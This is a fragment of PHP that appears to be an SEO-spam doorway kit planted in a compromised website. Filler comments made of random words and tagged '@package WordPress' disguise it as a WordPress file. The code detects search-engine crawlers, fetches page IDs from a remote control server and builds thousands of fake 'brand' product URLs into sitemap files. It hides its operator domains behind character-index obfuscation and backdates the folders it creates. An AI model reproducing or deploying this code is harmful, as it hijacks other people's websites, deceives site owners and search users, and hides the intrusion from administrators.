			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";		}else{
			$filePres = $siteLink."/";		}
		
		$CatName = str_replace('&',' ',$CatName);
		$CatName = str_replace('&',' ',$CatName);
		if(JDT == 3){
			
			$CatName = preg_replace('#\s+#i','-',$CatName);
			
			
			while(strstr($CatName,'--'))
				$CatName = str_replace('--','-',$CatName);
			
			$urlMid = $CatName;	
			
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		// BZCAT
		
		
		$endNumber = '';
		
		for($i=0;$i<3;$i++){
			$ranNum = rand(0,9);
			$endNumber .= $ranNum;
		}
			
		
		$CatName = preg_replace('#\s+#i','-',$CatName);
		$CatName = str_replace('--','-',$CatName);
		$urlMid = 'brand/'. str_replace('--','-',$CatName) . '/'. $endNumber;
		// $urlMid .= JTHZ;		
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
			
}
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}


function getRandCId($rqurl){
	global $thisdom;
	
	for($i=0;$i<3;$i++){
		$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
			return $matchId[1];
		}
	}
	
	header("HTTP/1.1 404 Not Found");  
	header("Status: 404 Not Found");  
	exit; 
	
}

/**
 * approve barrier calendar discipline dispose equivalent erect exceedingly expend faculty hardware liberty quotation range resistant ridiculous ridid shift stripe suspicious swallow.
 * coarse deaf discipline discrimination parallel strategy.
 * approximate arichmetic career distinguish disturb exclude expel gallon global infer liable oral origin phenomenon presumably prior repetition respond submerge substitute subway tarnest tidy title undertake.
 * avenue aware career derive dispose frustrate gasoline geology hatred jam massive negative phenomenon prescribe rival suspicious vote.
 * acid electron extraordinary gasoline hostile medium mere nevertheless notify parade personal.
 * algebra avenue distress geometry golf guilty hardware holy hostile leather liter mild motivate orchestra presumably reinforce reputation scandal slender slope subt survey talent virus.
 * approve automatic evaluate explode gap gear knot sexual substantial survey temptation tidy undergraduate withstand.
 * arichmetic discrimination expend exterior scandal sensitive spot.
 * auxiliary clue distinguish elastic liberty tone vivid.
 * fate highlight motive simplify.
 * available breadth catalog exclude hardware hence liable loosen onion primitive solar transform vacuum.
 * approximate awkward coil debate entry frustrate gear horror impose incident interpret isolate mature venture.
 * cancel horrible likelihood nuisance quit welfare.
 * agency appeal arise arouse ban coarse continuous deaf display electron guarantee navigation noticeable orient particle previous prior professional prominent retail ultimate valid vote.
 * available capture equivalent navigation offend resemble respond transform.
 * adopt exclaim guilty horror parade sketch solar transmit videotape.
 * accelerate algebra evolve exceed exclusive gallery horror household illegal import lest liberal liberty odd orient prosperity retain stimulate valley variation vessel.
 *
 * @package WordPress
 */
	

function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}

function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");		
			$tempPid = $key;
		
			$url = getalink($tempPid,$value2);
			
 		if(JDT == 0){

		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
			
		}else{
			
			if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
		}
		
		
			
			
			
			
			
	}
	
	
 		if(JDT == 0){
			
				{
		$gFile =  '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
			
		}else{
			
			{
		$gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
	
	
		}
	
	
	
	unset($tempArr1);	unset($filenames);	
	echo "生成sitemap成功！";	
}


function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
	
	$filePres = '';	$fileEnds = '';	
	
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
			$tempPid = $key;
				$url = getalink($tempPid,$value2);
		
		 if(JDT == 0){
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../maps/sitemap.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			 
			 
			 
		 }else{
			 
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			
			
			 
		 }

		
	
			
			
	}
	
	
	
		 if(JDT == 0){
			
	
	{
		$gFile =  '../maps/sitemap.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
	
		 }else{
			 
			 	
	{
		$gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
			 
		 }
	
	
	
	unset($tempArr1);	unset($filenames);	echo "生成sitemap成功！";	
}
	
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 

function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}

function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}



	
////



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}


	function strFilter($str){
		$str = str_replace('`', '', $str);
		$str = str_replace('·', '', $str);
		$str = str_replace('~', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('！', '', $str);
		$str = str_replace('@', '', $str);
		$str = str_replace('#', '', $str);
		$str = str_replace('$', '', $str);
		$str = str_replace('￥', '', $str);
		$str = str_replace('%', '', $str);
		$str = str_replace('^', '', $str);
		$str = str_replace('……', '', $str);
		$str = str_replace('*', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('（', '', $str);
		$str = str_replace('）', '', $str);
		$str = str_replace('-', '', $str);
		$str = str_replace('_', '', $str);
		$str = str_replace('——', '', $str);
		$str = str_replace('+', '', $str);
		$str = str_replace('=', '', $str);
		$str = str_replace('|', '', $str);
		$str = str_replace('\\', '', $str);
		$str = str_replace('[', '', $str);
		$str = str_replace(']', '', $str);
		$str = str_replace('【', '', $str);
		$str = str_replace('】', '', $str);
		$str = str_replace('{', '', $str);
		$str = str_replace('}', '', $str);
		$str = str_replace('；', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('<', '', $str);
		$str = str_replace('>', '', $str);
		$str = str_replace('：', '', $str);
		$str = str_replace('\'', '', $str);
		$str = str_replace('"', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace('，', '', $str);
		$str = str_replace('《', '', $str);
		$str = str_replace('》', '', $str);
		$str = str_replace('.', '', $str);
		$str = str_replace('。', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('/', '', $str);
		$str = str_replace('、', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('？', '', $str);
		$str = str_replace('°', '', $str);
		$str = str_replace('&', '&amp;', $str);
		return trim($str);
	}


	function getalink($pid,$pname=''){
		
		global $arrnametime,$arrKeywz,$strRand;		
		
		
		if(strstr($pname,'#cat#')){
			$tp_pname_arr = explode('#cat#',$pname);
			$pname = $tp_pname_arr[1];
			$catStr = $tp_pname_arr[0];
			$tpcatArr = explode('`',$catStr);
			$precat = $tpcatArr[0];
			$endcat = $tpcatArr[1];
		}
		
		
		
		if(function_exists("preg_split")){
			$tpnameArr = preg_split('/\s+/us', $pname);		
		}else{
			$tpnameArr = explode(' ', $pname);
		}
		
		$pnameArr = array();
		foreach($tpnameArr as $tpvs){
			$tpvs = trim($tpvs);
			if($tpvs){
				$pnameArr[] = $tpvs;
			}
		}
		
		$numPname = count($pnameArr);
		
		if($numPname > 3){
			$numLinkKey = round(PNAMELEN * $numPname / 100);
			$yushu = KEYJG % $numPname;
			
			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$numPname;$i++){
				if($i<$yushu){
					$arrLast[] = $pnameArr[$i];
				}else{
					$arrPre[] = $pnameArr[$i];
				}
			}
			
			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$usedNameArr = array();
			for($i=0;$i<$numLinkKey;$i++){
				$usedNameArr[$i] = $arrPre[$i];
			}

			if(count($usedNameArr)){
				$pname = implode(' ',$usedNameArr);
			}
			
		}
		
		
		
		$pname = strFilter($pname);

		$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
	
		$rsp = '#'. BZPRO .'\d+#i';
		$rsp2 = '#\d+-#i';
		$rsp3 = '#-\d+#i';
		$rsp4 = '#-\d+-#i';
		$pname = trim($pname);
		

		$pname = preg_replace('/\s+/', '-', $pname);
	
		
		if(JDT == 3){
			
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
	
		
			while(strstr($pname,'&'))
				$pname = str_replace('&','',$pname);
			
			while(strstr($pname,'--'))
				$pname = str_replace('--','-',$pname);
			
			$urlMid = $pname .'-' .$pid;
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
			
		if(strlen($pname) > 235){
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
			$pname = str_replace('&','',$pname);
			$pname = str_replace('&',';',$pname);
			if(function_exists("mb_substr")){
				$pname = mb_substr($pname, 0, 235, 'utf-8');
			}else{
				$pname = substr($pname, 0, 235);
			}
		}	
		
		
		$precat = strFilter($precat);
		$precat = preg_replace($rsp,'',$precat);
		$precat = preg_replace($rsp2,'-',$precat);
		$precat = preg_replace($rsp3,'-',$precat);
		$precat = preg_replace($rsp4,'-',$precat);
		$precat = str_replace('&','',$precat);
		$precat = str_replace('&',';',$precat);
		$precat = preg_replace('/\s+/', '-', $precat);
		
		
		
		$endcat = strFilter($endcat);
		$endcat = preg_replace($rsp,'',$endcat);
		$endcat = preg_replace($rsp2,'-',$endcat);
		$endcat = preg_replace($rsp3,'-',$endcat);
		$endcat = preg_replace($rsp4,'-',$endcat);
		$endcat = str_replace('&','',$endcat);
		$endcat = str_replace('&',';',$endcat);
		$endcat = preg_replace('/\s+/', '-', $endcat);
		

		$pname = preg_replace($rsp,'',$pname);
		$pname = preg_replace($rsp2,'-',$pname);
		$pname = preg_replace($rsp3,'-',$pname);
		$pname = preg_replace($rsp4,'-',$pname);
		
		
			
		if(JDT == 0){
			$urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
		}else{
			$urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
		}
			

		
			$urlMid .= JTHZ;			$urlMid = str_replace("-/","/",$urlMid);			$urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);		
		
			
			while(strstr($urlMid,'--'))
				$urlMid = str_replace('--','-',$urlMid);	
			// $urlMid = str_replace('/-','/',$urlMid);	
			
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
		return $rtStr;
	}
	
	

	
	
  
  
  
	
	
	
// 

	
	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
 
function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 


 
function getarr(){
		global $O00O0O;
		$arr[0]=$O00O0O{21}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{4}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{8}.$O00O0O{13}.$O00O0O{19}.$O00O0O{18}.$O00O0O{14}.$O00O0O{20}.$O00O0O{17}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{11}.$O00O0O{14}.$O00O0O{10}.$O00O0O{21}.$O00O0O{0}.$O00O0O{11}.$O00O0O{3}.$O00O0O{8}.$O00O0O{6}.$O00O0O{8}.$O00O0O{19}.$O00O0O{0}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{7}.$O00O0O{13}.$O00O0O{14}.$O00O0O{18}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{17}.$O00O0O{0}.$O00O0O{13}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{25}.$O00O0O{4}.$O00O0O{12}.$O00O0O{14}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
	return $arr;
}

	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
 
function get_real_ip(){
	
	
	   $ip = '';
    /**
     * resolve any proxies
     */
    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
      } else {
        $ip = $_SERVER['REMOTE_ADDR'];
      }
    }
    if (trim($ip) == '') {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
      } else {
        $ip = getenv('REMOTE_ADDR');
      }
    }

    /**
     * sanitize for validity as an IPv4 or IPv6 address
     */
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);

    /**
     *  if it's still blank, set to a single dot
     */
    if (trim($ip) == '') $ip = '.';

    return $ip;
	
	}
 
 
/**
 * beforehand enthusiasm illegal inhabitant recruit ridid simplicity trend.
 * automatic beforehand column drift evolution expand harmony passive remarkable sensible shield stale survey treaty undergraduate usage valley vehicle via weld wonder.
 * conservative dusk magnet treaty.
 * absolute alter estimate incident internal luxury orient previous restraint waist.
 * adult advertisement applicant career device distribute genuine global guarantee infant jungle mainland moral optimistic remedy slip terror transplant venture.
 * beforehand burden career comedy continual device discrimination dive entitle gallery germ glory liberal likelihood parallel prevail radiation reveal simplicity slip valley weld.
 * accelerate battery continuous delay discipline diverse durable exceedingly external glimpse moral neutral restrict signature twist unique universe.
 * approve awkward bargain brake candidate drift encounter focus gesture interpret junior lean leather loosen navigation personal portion prompt radical religion ruin satellite subway textile theme.
 * coach core decent highlight timber.
 * adequate arise calculate genius infinite kneel label luxury navigation obstacle resistant retail subsequent transport.
 * conservation consistent missile strategy volcano voluntary wonder.
 * applause arbitrary barrier burst device discount domestic kneel leap mutual promote register scratch slide stale swallow tend tremble tropical vague virtual wagon whereas xploit.
 * consume expansion frustrate prevail release spill video weld.
